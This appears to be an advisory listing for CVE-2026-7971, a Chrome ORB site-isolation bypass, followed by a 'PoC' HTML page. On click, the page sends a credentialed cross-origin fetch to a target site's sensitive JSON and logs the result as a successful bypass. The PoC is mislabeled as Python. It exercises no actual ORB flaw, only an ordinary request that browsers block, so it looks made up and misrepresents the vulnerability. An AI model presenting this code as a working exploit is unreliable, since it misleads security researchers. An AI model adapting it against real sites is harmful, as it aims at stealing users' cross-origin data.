Inappropriate implementation in ORB in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-7971: Chrome ORB Security Bypass -->
<!-- This PoC demonstrates the concept of bypassing ORB checks via crafted HTML -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7971 PoC</title>
</head>
<body>
<script>
// Attempt to fetch a cross-origin resource that should be blocked by ORB
// The vulnerability allows bypassing this check under specific conditions
async function exploit() {
try {
// Crafted request to trigger the implementation flaw
const response = await fetch('https://target-site.com/sensitive-data.json', {
method: 'GET',
headers: {
'Content-Type': 'text/plain'
},
mode: 'cors',
credentials: 'include'
});
// If ORB bypass is successful, we might read the content
// Note: Actual exploitation requires specific Chrome versions and conditions
const data = await response.text();
console.log("[+] ORB Bypass Successful: " + data);
} catch (e) {
console.log("[-] Exploit failed: " + e.message);
}
}
// Trigger on user interaction as per UI:R requirement
document.addEventListener('click', exploit);
</script>
<h1>Click anywhere to test ORB Bypass</h1>
</body>
</html>